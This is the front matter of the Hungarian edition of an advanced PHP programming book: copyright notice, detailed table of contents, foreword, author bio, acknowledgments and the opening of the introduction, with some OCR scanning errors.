A fordítás a következő angol eredeti alapján készült: George Schlossnagle: Advanced PHP Programing Copyright © 2004 Sams Publishing

. Minden jog fenntartva! Authorized translation from the English language edition, entitled Advanced PHP Programing, lst Edition, ISBN 0672325616, by Schlossnagle, George, published by Pearson Education, Inc, publishing as Que/Sams. Copyright © 2004 by Sams Publishing Translation and Hungárián edition © 2004 Kiskapu Kft. Ali rights reserved! Ali rights reserved. No part of this book, including interior desing, cover design, and icons, may be reproduced or transmitted in any form, by any means (electronic, photocopying, recording, or otherwise) without the prior written permission of the publisher. Trademarked names appear throughout this book. Rather than üst the names and entities that own the trademarks or insert a trademark symbol with each mention of the trademarked name, the publisher st.ues that it is using the names for editorial purposes only and to the benefít of the trademark owner, with no intention of infringing upon that trademark. Fordítás és magyar változat © 2004 Kiskapu Kft. Minden jog fenntartva! A könyv egyetlen része sem sokszorosítható semmilyen módszerrel a Kiadó előzetes írásos engedélye nélkül. Ez a korlátozás kiterjed a belső tervezésre, a borítóra és az ikonokra is. A könyvben bejegyzett védjegyek és márkanevek is felbukkanhatnak. Ahelyett, hogy ezt minden egyes helyen külön jeleznénk, a Kiadó ezennel kijelenti, hogy a műben előforduló valamennyi védett nevet és jelzést szerkesztési célokra, jóhiszeműen, a név tulajdonosának érdekeit szem előtt tartva használja, és nem áll szándékában az azokkal kapcsolatos jogokat megszegni, vagy kétségbe vonni. A szerzők és a kiadó a lehető legnagyobb körültekintéssel járt el e kiadvány elkészítésekor. Sem a szerző, sem a kiadó nem vállal semminemű felelősséget vagy garanciát a könyv tartalmával, teljességével kapcsolatban. Sem a szerző, sem a kiadó nem vonható felelősségre bármilyen baleset vagy káresemény miatt, mely közvetve vagy közvetlenül kapcsolatba hozható e kiadvánnyal. Nyelvi lektor: Rézműves László Szakmai lektorok: Palócz István (1-5., 7., 8. f), Papp Győző (6., 9- f), Komáromi Zoltán (10-23- f) Fordítás: Gilicze Bálint, Rézműves László Műszaki szerkesztő: Csutak Hoffmann Levente Tördelés: Csutak Hoffmann Levente Borító: Zsédely Teréz Felelős kiadó a Kiskapu Kft. ügyvezető igazgatója © 2004 Kiskapu Kft. 1081 Budapest, Népszínház u. 31. I. 7. Telefon: (+36-1) 477-0443 Fax: (+36-1) 303-1619 http ://kiado .kiskapu. hu/ e-mail: kiado@kiskapu.hu ISBN: 963 9301 80 9 Készült a debreceni Kinizsi Nyomdában Felelős vezető: Bördős János

Áttekintés

Tartalomjegyzék Előszó A szerzőről Bevezetés

I. rész Megvalósítási és fejlesztési módszerek
1. fejezet Kódolási stílusok 2. fejezet Objektumközpontú programozás tervezési minták segítségével 3. fejezet Hibakezelés 4. fejezet Megvalósítás PHP nyelven: a sablonok és a Világháló 5. fejezet Megvalósítás PHP nyelven: önálló programok 6. fejezet Egységtesztelés 7. fejezet A fejlesztőkömyezet kezelése 8. fejezet Hogyan tervezzünk jó API-t?

II.rész Gyorstárak
9. fejezet Teljesítményfokozás külső módszerekkel 10. fejezet Adatösszetevők átmeneti tárolása 11. fejezet Számítási újrahasznosítás

III. rész Elosztott alkalmazások
12. fejezet Adatbázisok használata 13. fejezet A felhasználók hitelesítése és a munkamenetek biztonsága

vi

PHP fejlesztés felsőfokon

14. fejezet 15. fejezet 16. fejezet 17. fejezet 18. fejezet 19. fejezet

Munkamenetek kezelése Elosztott környezet kiépítése RPC: Együttműködés távoli szolgáltatásokkal Teljesítménymérés: teljes alkalmazások tesztelése Profilkészítés Szintetikus mérés: kódblokkok és függvények értékelése A PHP és a Zend Engine titkai A PHP bővítése: I. rész A PHP bővítése: II. rész SAPI-k készítése és a Zend Engine bővítménye

V. r
20. 21. 22. 23. fejezet fejezet fejezet fejezet

Tárgymutató

Tartalomjegyzék

Előszó A szerzőről Bevezetés

Megvalósitási és fejlesztési módszerek
1. fejezet Kódolási stílusok
A megfelelő stílus kiválasztása .............................................................................. 4 A kód formázása és elrendezése............................................................................... 4 Behúzás................................................................................................................ 4 Sorhossz............................................................................................................... 7 Térközök használata .......................................................................................... 8 SQL irányelvek..................................................................................................... 8 Vezérlési szerkezetek............................................................................................ 9 Kapcsos zárójelek a vezérlési szerkezetekben ................................................9 A kapcsos zárójelek következetes használata..................................................10 for vagy while vagy foreach?..........................................................................11 Cikluson belüli vezérlés a break és a continue használatával.......................... 13 A mélyen egymásba ágyazott feltételek elkerülése..........................................14

viii

PHP fejlesztés felsőfokon

Névszimbólumok ................................................................................................ 14 Állandók és valódi globális változók ................................................................. 16 Hosszú életű változók .......................................................................................18 Ideiglenes változók .......................................................................................... 18 Több szóból álló nevek........................................................................................ 19 Függvénynevek .................................................................................................. 19 Osztálynevek...................................................................................................... 20 Tagfüggvénynevek.............................................................................................. 20 Az elnevezések következetessége .......................................................................20 A változónevek és sémanevek egyeztetése ........................................................ 21 A zavaros kódok elkerülése ................................................................................. 22 Rövid címkék......................................................................................................22 HTML készítése echo-val....................................................................................23 Következetes zárójelezés..................................................................................... 23 Dokumentáció .....................................................................................................24 Soron belüli megjegyzések.................................................................................. 25 API dokumentáció.............................................................................................. 26 A phpDocumentor használata........................................................................ 27 További olvasmányok............................................................................................. 31

2. fejezet

Objektumközpontú programozás tervezési minták segítségével

Bevezetés az objektumközpontú programozásba..................................................... 34 Öröklés ............................................................................................................ 36 Egységbe zárás....................................................................................................37 Statikus tulajdonságok és tagfüggvények............................................................. 38 Különleges tagfüggvények.................................................................................. 39 Rövid bevezetés a tervezési minták használatába .................................................. 41 Az Illesztő minta ............................................................................................. 41 A Sablon minta................................................................................................... 46 Többalakúság......................................................................................................47 Felületek és típusjelzések.................................................................................... 49 A Gyár minta .................................................................................................... 52 Az Egyke minta ............................................................................................... 54 Túlterhelés ..........................................................................................................56

PHP fejlesztés felsőfokon

ix

Az SPL és a bejárók .......................................................................................... 62 _ _call() ........................................................................................................... 68 _ _autoloadO ................................................................................................... 71 További olvasmányok............................................................................................. 71

3. fejezet

Hibakezelés

A hibák kezelése.................................................................................................... 76 A hibák megjelenítése ...................................................................................... 76 A hibák naplózása .............................................................................................78 A hibák figyelmen kívül hagyása.........................................................................79 Műveletek végzése hiba esetén .......................................................................... 80 A külső hibák kezelése........................................................................................... 81 Kivételek................................................................................................................85 Kivételhierarchiák használata............................................................................. 88 Típusos kivételek - egy példa .............................................................................90 A kivételek láncolása.......................................................................................... 96 Konstruktőrön belüli hibák kezelése ...................................................................99 Felső szintű kivételkezelő beállítása.................................................................. 100 Adatérvényesítés ............................................................................................ 103 Mikor használjunk kivételeket? .......................................................................... 108 További olvasmányok........................................................................................... 108

4. fejezet

Megvalósítás PHP nyelven: a sablonok és a Világháló

Smarty................................................................................................................. 110 A Smarty telepítése........................................................................................... 111 Első Smarty sablonunk: Hello, Világ! .............................................................112 Lefordított sablonok a háttérben ..................................................................... 113 A Smarty vezérlési szerkezetei.......................................................................... 114 A Smarty függvényei és egyebek........................................................................117 Átmeneti tárolás a Smarty-val........................................................................... 120 A Smarty haladó szolgáltatásai..........................................................................122 Saját sablonrendszer készítése.............................................................................. 123 További olvasmányok........................................................................................... 125

x

PHP fejlesztés felsőfokon

5. fejezet

Megvalósítás PHP nyelven: önálló programok

A PHP parancssori felülete: bevezetés...................................................................129 A bemenet és kimenet kezelése ..........................................................................130 A parancssori argumentumok feldolgozása...........................................................132 Gyermekfolyamatok létrehozása és kezelése ...................................................... 135 A megosztott erőforrások bezárása.................................................................... 136 Változók megosztása .......................................................................................137 Takarítás a gyermekek után...............................................................................137 Jelzések ...........................................................................................................139 SIGCHLD .................................................................................................. 140 SIGALRM.....................................................................................................142 Egyéb szokványos jelzések...........................................................................144 Démonok írása ................................................................................................... 144 A munkakönyvtár megváltoztatása.................................................................... 145 A kiváltságok feladása ................................................................................... 146 A kizárólagosság biztosítása..............................................................................147 A tanultak összefoglalása: figyelőszolgálat ........................................................ 147 További olvasmányok........................................................................................... 157

6. fejezet

Egységtesztelés

Bevezetés az egységtesztelésbe............................................................................. 161 Egységtesztek írása automatikus egységteszteléshez ........................................ 161 Első egységtesztünk.......................................................................................... l6l Több teszt hozzáadása.......................................................................................163 Kódon belüli és kívüli egységtesztek.....................................................................164 Kódon belüli tesztelés .................................................................................... 164 Önálló tesztek ................................................................................................ 166 Egyszerre több teszt futtatása............................................................................ 168 A PHPUnit további szolgáltatásai......................................................................... 169 Beszédesebb hibaüzenetek létrehozása.............................................................. 170 Több tesztfeltétel hozzáadása............................................................................ 171 A setUpO és tearDownO tagfüggvények használata.......................................... 173 Figyelők hozzáadása ...................................................................................... 174 Grafikus felület használata................................................................................176

PHP fejlesztés felsőfokon

xi

Tesztvezérelt tervezés ..........................................................................................176 A Flesch pontszámító........................................................................................ 177 A Word osztály tesztelése..................................................................................178 1. hibajelentés ................................................................................................186 Egységtesztelés webes környezetben .................................................................. 188 További olvasmányok........................................................................................... 191

7. fejezet

A fejlesztőkörnyezet kezelése

Változatkezelés ................................................................................................... 194 A CVS alapjai ................................................................................................. 195 A fájlok módosítása ........................................................................................198 A fájlok különbségeinek vizsgálata .................................................................199 Több fejlesztő egy munkán ............................................................................. 202 Jelzőcímkék.......................................................................................................204 Ágak................................................................................................................. 205 A fejlesztési és üzemi környezet fenntartása...................................................... 206 Csomagkezelés ................................................................................................... 211 A kód csomagolása és kibocsátása..................................................................... 213 Bináris állományok csomagolása....................................................................... 216 Az Apache csomagolása.................................................................................... 217 A PHP csomagolása ........................................................................................ 218 További olvasmányok........................................................................................... 219

8. fejezet

Hogyan tervezzünk jó API-t?

Újraépíthetőség és bővíthetőség ......................................................................... 222 A logika függvényekbe zárása ......................................................................... 223 Egyszerű osztályok és függvények használata .................................................. 224 Névterek használata.......................................................................................... 225 A csatolás csökkentése...................................................................................... 227 Védekező kódolás.................................................................................................228 Kódolási szabványok felállítása ......................................................................229 Fertőtlenítési eljárások használata .................................................................. 229 További olvasmányok...........................................................................................231

xii

PHP fejlesztés felsőfokon

Gyorstárak
9. fejezet Teljesítményfokozás külső módszerekkel
Teljesítményfokozás a nyelv szintjén.................................................................... 235 Fordítói gyorstárak............................................................................................236 Nyelvi optimalizálok ...................................................................................... 239 HTTP gyorsítók ............................................................................................. 240 Fordított helyettesek.......................................................................................... 242 Teljesítményfokozás az operációs rendszer szintjén........................................... 246 Helyettes gyorstárak.......................................................................................... 247 Gyorstárbarát PHP alkalmazások..........................................................................248 Tartalomtömörítés................................................................................................ 253 További olvasmányok........................................................................................... 254 RFC-k............................................................................................................... 254 Fordítói gyorstárak............................................................................................254 Helyettes gyorstárak.......................................................................................... 255 Tartalomtömörítés ..........................................................................................255

10. fejezet Adatösszetevők átmeneti tárolása
A gyorstárazással kapcsolatos kérdések ............................................................. 258 A gyorstárakban tárolható adatösszetevők felismerése .........................................259 Saját vagy előre elkészített osztályok - melyiket válasszuk? ............................... 259 Gyorstárak a memóriában.....................................................................................263 Gyorstárak szerkezet nélküli fájlokban.............................................................. 263 A gyorstár méretének fenntartása...................................................................... 263 A gyorstárak egyidejű használata és összhangja.................................................264 DBM alapú gyorstárak......................................................................................... 271 A gyorstárak egyidejű elérése és összhangja ................................................... 273 A tartalom érvénytelenítése és a gyorstárak karbantartása..................................273 Gyorstár a megosztott memóriában...................................................................... 278 Süti alapú gyorstárak........................................................................................... 279 A gyorstár méretének kezelése.......................................................................... 284 Egyidejű hozzáférés és az adatok összhangja.....................................................285 Gyorstárak használata az alkalmazásokban.......................................................... 285

PHP fejlesztés felsőfokon

xiii

Honlapok tárolása ........................................................................................... 288 Az Apache mod_rewrite modulja — tárolás okosan ........................................295 Oldalak részeinek tárolása.................................................................................299 Lekérdezések és gyorstárak .............................................................................. 302 További olvasmányok........................................................................................... 304

11. fejezet Számítási újrahasznosítás
Példa: a Fibonacci-sorozat.................................................................................... 305 Újrahasznosítható adatok tárolása egy kérelmen belül ........................................312 Újrahasznosítható adatok tárolása kérelmek között............................................... 315 Számítási újrahasznosítás a PHP-ben....................................................................319 PCRE-k............................................................................................................. 319 Elemszám és hossz............................................................................................320 További olvasmányok........................................................................................... 320

Elosztott alkalmazások
12. fejezet Adatbázisok használata
Ismerkedés az adatbázisok és lekérdezések működésével ....................................324 Lekérdezések vizsgálata az EXPLAIN segítségével...............................................327 Melyik lekérdezést javítsuk?.............................................................................. 329 Adatbázis-elérési minták...................................................................................... 331 Ad hoc lekérdezések ........................................................................................332 Az aktív rekord minta....................................................................................... 333 A leképező minta.............................................................................................. 335 Az egyesített leképező minta ........................................................................... 341 Az adatbázis-elérés hatékonyságának növelése..................................................... 343 Az eredményhalmaz korlátozása .................................................................... 343 Lusta előkészítés ............................................................................................ 345 További olvasmányok........................................................................................... 348

xiv

PHP fejlesztés felsőfokon

13. fejezet A felhasználók hitelesítése és a munkamenetek biztonsága
Egyszerű hitelesítési sémák.................................................................................. 350 Egyszerű HTTP-hitelesítés ............................................................................. 351 A lekérdezési karakterlánc csatolása ...............................................................352 Sütik használata ..............................................................................................352 Felhasználók bejegyzése....................................................................................... 354 A jelszavak védelme..........................................................................................354 Védelem az emberi tényező kihasználása ellen ................................................ 357 A hitelesítés fenntartása - hogyan győződjünk meg arról, hogy még mindig ugyanahhoz beszélünk? .......................................................... 358 A $_SERVER[REMOTE_IP] változatlanságának ellenőrzése............................358 A $_SERVER[USER_AGENT] változatlanságának ellenőrzése ...................... 359 Titkosítatlan sütik használata .......................................................................... 359 A követendő módszerekről ............................................................................. 359 Titkosítás használata................................................................................... 360 Az elavulás megvalósítása........................................................................... 360 Felhasználók azonosítása .......................................................................... 361 Hitelesítés a gyakorlatban - egy példa................................................................ 361 Egyszeri feliratkozás ......................................................................................... 367 Az egyszeri feliratkozás megvalósítása.............................................................. 369 További olvasmányok........................................................................................... 375

14. fejezet

Munkamenetek kezelése

Ügyfél oldali munkamenetek ............................................................................. 378 Munkamenetek megvalósítása sütik segítségével............................................... 379 A példa továbbfejlesztése...................................................................................382 Kiszolgáló oldali munkamenetek .......................................................................383 A munkamenet-azonosító nyomon követése.......................................................385 Beépített módszerek a munkameneti azonosítók követésére ........................385 A PHP munkamenetek alapjai ......................................................................... 387 Saját munkamenet-kezelő módszerek ............................................................. 389 Szemétgyűjtés................................................................................................... 395 Szemétgyűjtés a files kezelőben ..................................................................396

PHP fejlesztés felsőfokon

xv

Szemétgyűjtés az mm kezelőben.................................................................. 396 Szemétgyűjtés a MySession kezelőben ....................................................... 396 Ügyfél vagy kiszolgáló oldali munkamenetek - melyiket válasszuk?.................. 397 Saját beépített munkamenet-kezelők megvalósítása........................................... 397

15. fejezet

Elosztott környezet kiépítése

Mi is az a fürt?..................................................................................................... 399 Fürtök tervezése ................................................................................................. 402 Fő az előrelátás .............................................................................................. 403 Csapatjáték....................................................................................................... 404 A függvények névterei .............................................................................. 404 Hivatkozzunk a szolgáltatásokra teljes leíró nevekkel! .............................. 405 Az erőforrások névterei................................................................................ 405 Tartalom elosztása a fürtökben.......................................................................... 406 Vízszintes méretezés ...................................................................................... 407 Különleges célú fürtök...................................................................................... 407 Gyorstárak elosztott környezetben ..................................................................... 408 Központosított gyorstárak ...............................................................................411 Teljesen szétterített gyorstárak készítése a Spread segítségével ........................ 413 Adatbázisok méretezése .....................................................................................417 Mester-szolga rendszerekre épülő alkalmazások készítése ............................... 421 A többszörözés alternatívái .............................................................................423 A relációs adatbázis-kezelő rendszerek alternatívái .......................................... 424 További olvasmányok........................................................................................... 425

16. fejezet

RPC: Együttműködés távoli szolgáltatásokkal

XML-RPC............................................................................................................. 428 Egy kiszolgáló felépítése: a MetaWeblog API megvalósítása .......................... 430 Az XML-RPC szolgáltatások automatikus felderítése........................................ 435 SOAP................................................................................................................... 438 WSDL............................................................................................................... 441 A sysem.load átírása SOAP szolgáltatássá.........................................................443

xvi

PHP fejlesztés felsőfokon

Amazon webszolgáltatások és összetett típusok................................................. 446 Helyettes kód készítése .................................................................................... 448 A SOAP és az XML-RPC összehasonlítása ........................................................449 További olvasmányok........................................................................................... 450 SOAP .............................................................................................................. 450 XML-RPC ........................................................................................................ 450 Webnaplózás ...................................................................................................451 Nyilvánosan elérhető webszolgáltatások .......................................................... 451

Teljesítmény
17. fejezet Teljesítménymérés: teljes alkalmazások tesztelése
A szűk keresztmetszetek passzív azonosítása ...................................................... 456 Terhelésképzők.................................................................................................... 458 ab......................................................................................................................459 httperf .............................................................................................................460 A napló alapú terhelésképző ..................................................................... 461 A munkamenet-szimulátor ........................................................................462 A valósághű adatképző................................................................................ 462 Daiquiri ......................................................................................................... 463 További olvasmányok........................................................................................... 464

18. fejezet

Profilkészítés

A jó PHP profilkészítő titka.................................................................................. 466 Profilkészítő alkalmazások - a bőség zavarával küszködve....................................466 Az APD telepítése és használata ........................................................................ 467 Egy nyomkövetési példa....................................................................................... 469 Egy nagyobb alkalmazás profiljának elkészítése................................................... 471 Az általános gyengeségek felderítése ................................................................. 477 A felesleges szolgáltatások eltávolítása ............................................................... 480 További olvasmányok........................................................................................... 485

PHP fejlesztés felsőfokon

xvii

19. fejezet Szintetikus mérés: kódblokkok és függvények értékelése
A mérés alapjai .................................................................................................. 489 A mérési környezet kiépítése ............................................................................. 489 A PEAR mérőcsomagja.....................................................................................490 A mérőrendszer kiépítése.................................................................................. 493 Véletlen adatok lépésenkénti használata .........................................................494 A mérőrendszer terhelésének levonása ........................................................... 495 Egyéb időmérési adatok.................................................................................... 497 Mérések a kódban ........................................................................................... 500 Mérési példák .....................................................................................................501 Karakterek keresése a karakterláncok elején...................................................... 502 Makrókifejtés .................................................................................................. 503 Beszúrás vagy összefűzés?.................................................................................510

B ovíthetoseg
20. fejezet A PHP és a Zend Engine titkai
A Zend Engine működése: opkódok és optömbök................................................. 516 Változók .............................................................................................................522 Függvények.......................................................................................................... 526 Osztályok .......................................................................................................... 528 Az objektumkezelők ....................................................................................... 530 Objektumok létrehozása ................................................................................. 531 Más fontos adatszerkezetek .............................................................................. 531 A PHP kérelmek életciklusa ...............................................................................534 A SAPI réteg..................................................................................................... 535 A PHP magja ................................................................................................. 537 A PHP bővítési API ............................................................................................ 538 A Zend bővítési API.......................................................................................... 539 Összeáll a kép ................................................................................................. 541

xviii

PHP fejlesztés felsőfokon

21. fejezet A PHP bővítése: I. rész
A bővítmények alapjai..........................................................................................544 Bővítményváz készítése.....................................................................................545 Bővítmények felépítése és engedélyezése .......................................................... 548 Függvények használata .................................................................................. 549 Egy egyszerű példa...................................................................................... 549 A típusok és a memória kezelése....................................................................... 551 Karakterláncok feldolgozása .......................................................................... 555 Más visszatérési makrók ............................................................................. 556 Típusok kezelése............................................................................................... 557 Típusátalakítások és elérési makrók.................................................................. 562 Erőforrások használata......................................................................................566 Hibák visszaadása .......................................................................................... 571 Modulhorgok használata ................................................................................ 572 Modulok indítása és leállítása...................................................................... 572 Modulok kikapcsolása .............................................................................. 578 Kérelmek indítása és kikapcsolása ............................................................ 579 Egy példa: a Spread ügyfél burkolója ..................................................................581 MINIT...............................................................................................................582 MSHUTDOWN................................................................................................. 583 A modul függvényei.......................................................................................... 583 A Spread modul használata ............................................................................ 591 További olvasmányok........................................................................................... 592

22. fejezet A PHP bővítése: II. rész
Osztályok megvalósítása...................................................................................... 593 Új osztály létrehozása........................................................................................595 Tulajdonságok hozzáadása................................................................................ 596 Osztályöröklés.................................................................................................. 598 Tagfüggvények hozzáadása .............................................................................. 599 Konstruktőrök hozzáadása................................................................................ 602 Kivételek kiváltása............................................................................................603 Saját objektumok és privát változók.................................................................. 604

PHP fejlesztés felsőfokon

xix

Gyártófüggvények használata .........................................................................607 Felületek létrehozása és megvalósítása ........................................................... 608 Saját munkamenet-kezelők készítése ................................................................. 610 A folyamkezelő API............................................................................................. 615 További olvasmányok........................................................................................... 626

23. fejezet

SAPI-k készítése és a Zend Engine bővítménye

A SAPI-król ........................................................................................................627 A CGI SÁPI.......................................................................................................627 A CGI SÁPI alkalmazás....................................................................................635 A beágyazási SÁPI .........................................................................................638 SÁPI bemeneti szűrők .................................................................................... 640 input_filter ............................................................................................... 641 A treat_data és a default_post_reader........................................................... 645 A Zend Engine módosítása és belső vizsgálata ....................................................646 Figyelmeztetések helyett kivételek.....................................................................646 Opkódok kiíratása ........................................................................................... 649 APD ................................................................................................................. 652 APC ................................................................................................................ 654 A Zend bővítmények visszahívható függvényei..................................................654 Házi feladat.......................................................................................................... 657

Tárgymutató

659

Előszó
Nemrég lapozgattam William Gibson könyveit és az Ali Tomorrow's Parties című kötetben erre bukkantam: Ami túltervezett vagy túl egyedi, annak eredménye mindig előre látható, és ez az előre láthatóság, ha nem is bukással, de az elegancia hiányával jár. Gibson elegánsan foglalja össze, miért bukik meg sok rendszer. A színes négyszögek táblára rajzolásával nincs semmi baj, de eme ragaszkodásunk a bonyolulthoz hatalmas hátrányt jelent. Amikor megtervezünk valamit, arra van szükség, hogy az adott problémára adjunk megoldást. Nem szabad előre tekintenünk, hogy a probléma vajon mi lesz évekkel később, egy nagyméretű, összetett felépítményben, amikor pedig egy általános célú eszközt építünk, nem szabad túlzott konkrétsággal megkötnünk a felhasználó kezét. A PHP maga is e kettő - a webes feladatok megoldásának konkrétsága, illetve egy bizonyos, a felhasználók kezét megkötő megoldás megadására való hajlam - között egyensúlyoz. Kevesen mondanák a PHP-re, hogy elegáns. Parancsnyelvként számos, a Világháló csataterein többéves szolgálat közben szerzett sebet hordoz. Ami elegáns benne, az a megközelítés egyszerűsége. Minden fejlesztő időről időre váltogatja, milyen megközelítést alkalmaz egy-egy feladat megoldására. Kezdetben az egyszerű megoldásokat részesítik előnyben, mert nem elég tapasztaltak ahhoz, hogy a bonyolultabb elveket megértsék. Ahogy tudásuk gyarapszik, az alkalmazott megoldások egyre bonyolultabbak lesznek, és a megoldható feladatok nagysága is fokozatosan nő. Ekkor fenyeget annak a veszélye, hogy az összetettség rutinná válik és csapdába ejt. Elegendő idő és erőforrás birtokában minden feladat megoldható szinte bármilyen eszközzel. Az eszköz csupán arra való, hogy ne legyen útban. A PHP éppen erre törekszik. Nem kényszerít ránk semmilyen programozási megközelítést, és igyekszik a lehető legkisebbre csökkenteni a közénk és a megoldandó probléma közé beékelődő rétegek számát.

xxii

PHP fejlesztés felsőfokon

Ez azt jelenti, hogy a PHP-ben minden adott, hogy megtaláljuk a legegyszerűbb és legelegánsabb megoldást, és ne kelljen elvesznünk a rétegek és felületek nyolc előadóterem tábláit elfoglaló tengerében. Természetesen az, hogy minden eszközt megkapunk, amivel elkerülhetjük egy szörnyeteg építését, nem garantálja, hogy így is lesz. De szerencsére itt van nekünk George és ez a könyv. George olyan utazásra hív minket, ami saját útjára hasonlít, nem csupán a PHPvel, hanem a programfejlesztéssel és problémamegoldással kapcsolatban általában. Pár napnyi olvasás után elsajátíthatjuk mindazt a tudást, amit ő a területen évek munkájával szerzett meg. Nem rossz üzlet, úgyhogy nem is érdemes e haszontalan előszóval vesztegetni az időt - irány az első fejezet és az utazás! Rasmus Lerdorf

A szerzőről
George Schlossnagle igazgatóként dolgozik az OmniTI Computer Consulting nevű marylandi cégnél, amelynek szakterületét a nagyméretű webes és elektronikus levelezési rendszerek jelentik. Mielőtt az OmniTI-hez került volna, technikai vezetője volt számos magasszintű közösségi webhelynek, ahol tapasztalatokat szerzett a PHP igen nagy vállalati környezetekben történő alkalmazásával kapcsolatban. Állandó résztvevője a PHP közösség munkájának, hozzájárult többek között a PHP mag, illetve a PEAR és PECL bővítménytárak fejlesztéséhez. Mielőtt az információ-technológia területére lépett volna, George matematikusnak készült, és két évig szolgált a Békehadtestben, mint tanár. Tapasztalatai megtanították arra, hogy a problémamegoldásban értékelje az interdiszciplináris megközelítést, ami a bajok gyökeréig hatol, nem csupán a tüneteket kezeli.

Köszönetnyilvánítás
A könyv írása során rengeteget tanultam, és ezt mindenkinek meg szeretném köszönni, aki segítette munkámat. A PHP valamennyi fejlesztőjének köszönöm, hogy kemény munkával ilyen nagyszerű terméket állítottak elő. Állandó erőfeszítéseik nélkül e kötetnek nem lett volna témája. Shelley Johnston, Dámon Jordán, Sheila Schroeder, Kitty Jarrett, és a Sams kiadó többi munkatársa: köszönöm, hogy bizalmat szavaztak nekem és könyvemnek. Nélkülük ez csak egy meg nem valósult ábránd lenne. Műszaki szerkesztőim, Brian Francé, Zak Greant és Sterling Hughes: köszönöm a fejezetvázlatok elolvasására és megjegyzésekkel ellátására szánt időt és energiát, ami nélkül biztos vagyok benne - a könyv befejezetlen maradt volna, és tele lenne hibával. Testvéremnek, Theo-nak: köszönöm a folyamatos szakmai kritikát és ösztönzést, valamint azt, hogy átvetted a munkámat, amikor a könyv befejezésén dolgoztam.

xxiv

PHP fejlesztés felsőfokon

Szüleimnek: köszönöm, hogy azzá neveltetek, aki ma vagyok, és különösen hálás vagyok anyámnak, Sherrynek, aki nagylelkűen végigolvasta a könyv valamennyi fejezetét. Remélem, büszkék lehettek rám. És aki a legfontosabb, feleségem, Pei: köszönöm, hogy megingathatatlanul mellettem álltál és egy éven át önzetlenül feláldoztad az éjszakákat és hétvégéket, hogy dolgozhassam a könyvön. Örökké hálás leszek a szeretetért, türelemért és támogatásért.

Bevezetés
Ez a könyv arra törekszik, hogy az Olvasóból szakértő PHP programozót faragjon. Szakértő programozónak lenni nem csupán annyit jelent, hogy tökéletesen ismerjük a nyelvtant és a nyelv szolgáltatásait (bár ez kétségkívül segít), hanem azt is, hogy képesek vagyunk hatékonyan használni feladatok megoldására. A könyv elolvasása után tisztában leszünk a PHP erősségeivel és gyengéivel, valamint a webes és más feladatok megoldásának legjobb módszereivel. A kötet az elveket tartja szem előtt, így általános problémákat ír le, és ezekre ad egy-egy konkrét példát, szemben a „szakácskönyv" szemléletű könyvekkel, amelyekben mind a problémák, mind a megoldások egyediek. Ahogy az angol mondás tartja: „Adj egy halat, és egy napig van mit ennem - taníts meg halászni, és soha többé nem éhezem." A kötet célja, hogy megtanítsa az eszközök használatát, amelyekkel bármilyen feladatot megoldhatunk, és hogy megtanítsa kiválasztani a megfelelő eszközt. Véleményünk szerint a legkönnyebb példákon keresztül tanulni, ezért a könyvben rengeteg gyakorlati példa szerepel, amelyek bemutatják a tárgyalt fogalmakat. A valós környezettel nem rendelkező elméleti példák nem sokat érnek, így a könyvben csak valódi feladatok elvégzésére alkalmas, „igazi" kódokat találunk. Nem használtunk olyan osztályneveket, mint az angol nyelvű példákban gyakori Foo és Bar; ahol csak lehetséges volt, igyekeztünk létező nyílt forrású programokból venni a példákat, hogy igazi megvalósításokat lássunk.

xxvi

PHP fejlesztés felsőfokon

A PHP az üzleti életben
Amikor 1999-ben elkezdtem hivatásszerűen foglalkozni a PHP programozással, a nyelv éppen csak kezdett több lenni egy újabb, amatőrök által használt parancsnyelvnél. Akkor adták ki a PHP 4-et az első Zend motorral, ami gyorsabbá és stabilabbá tette a nyelvet. A PHP-t használók száma ugrásszerűen növekedni kezdett, de a nagy, üzleti célú webhelyek számára még mindig nehéz volt eladni. A nehézség leginkább két forrásból eredt: • A Perl, ColdFusion és más parancsnyelveken fejlesztők nem frissítették ismereteiket a PHP fejlődésével, így nem voltak tisztában az új képességekkel. • A Java nyelven fejlesztők nagy és teljes keretrendszereket, erőteljes objektumközpontú támogatást, statikus típusokat és más, „üzleti" képességeket kívántak. Mára egyik sem jelent akadályt. A PHP többé nem ragasztónyelv, amit lelkes amatőrök használnak, hanem erőteljes parancsnyelv, amelyet felépítése ideálissá tesz a webes feladatok megoldására. Egy programozási nyelv hat követelménynek kell, hogy eleget tegyen, hogy üzleti célú alkalmazásokban is használhatóvá váljon: • • • • • • Gyors prototípus-készítés és megvalósítás A modern programozási megközelítések (paradigmák) támogatása Méretezhetőség (Kiváló) teljesítmény Együttműködési képesség Bővíthetőség

Az első követelmény - a gyors prototípus-készítési lehetőség - születése óta erőssége a PHP-nek. A webes fejlesztések és a celofánba csomagolt szoftvertermékek közötti egyik lényeges különbség, hogy a Weben egy termék „leszállításának" szinte semmilyen költsége nincs. A csomagolt termékek esetében azonban egy aprócska hiba is azt jelentheti, hogy ezernyi CD-t írattunk tele hibás kóddal, és ezt csak úgy javíthatjuk ki, ha értesítjük valamennyi érintett vásárlót a hibajavítás létezéséről, és rávesszük őket, hogy töltsék le és telepítsék. A webes hibajavításoknál elég, ha a felhasználó legközelebb újra betölti az oldalt, ezért a webalkalmazások rugalmasan és gyakran frissíthetők. A parancsnyelvek általában is kitűnőek rugalmas programok fejlesztésére, mert lehetővé teszik, hogy anélkül fejlesszünk gyorsan és próbáljunk ki új ötleteket, hogy ismételten végig kellene járnunk a fordítás—összeszerkesztés—tesztelés-hibakeresés procedúráját. A PHP különösen jó az ilyesmire, mert nagyon gyorsan tanulható, így új fejlesztőket minimális tapasztalattal is bevonhatunk.

PHP fejlesztés felsőfokon

xxvii

A PHP 5 a többi követelménynek is maradéktalanul megfelel. Amint a könyvben látni fogjuk, a PHP új objektummodellje erőteljes és a szabványoknak megfelelő objektumközpontú támogatást nyújt. A PHP fürge és méretezhető, köszönhetően az alkalmazható programozási stratégiáknak, illetve annak, hogy az üzleti logika létfontosságú részeit könnyű újra megvalósítani valamilyen alacsonyszintű nyelven. A nyelv emellett tengernyi bővítményt biztosít a más szolgáltatásokkal való együttműködésre, az adatbázis-kiszolgálóktól a SOAP-ig. Végül, a PHP megfelel a programozási nyelvek legfontosabb követelményének: egyszerűen bővíthető. Ha a nyelv nem rendelkezne a számunkra szükséges szolgáltatással vagy képességgel, mi magunk is hozzáadhatjuk.

A könyv felépítése
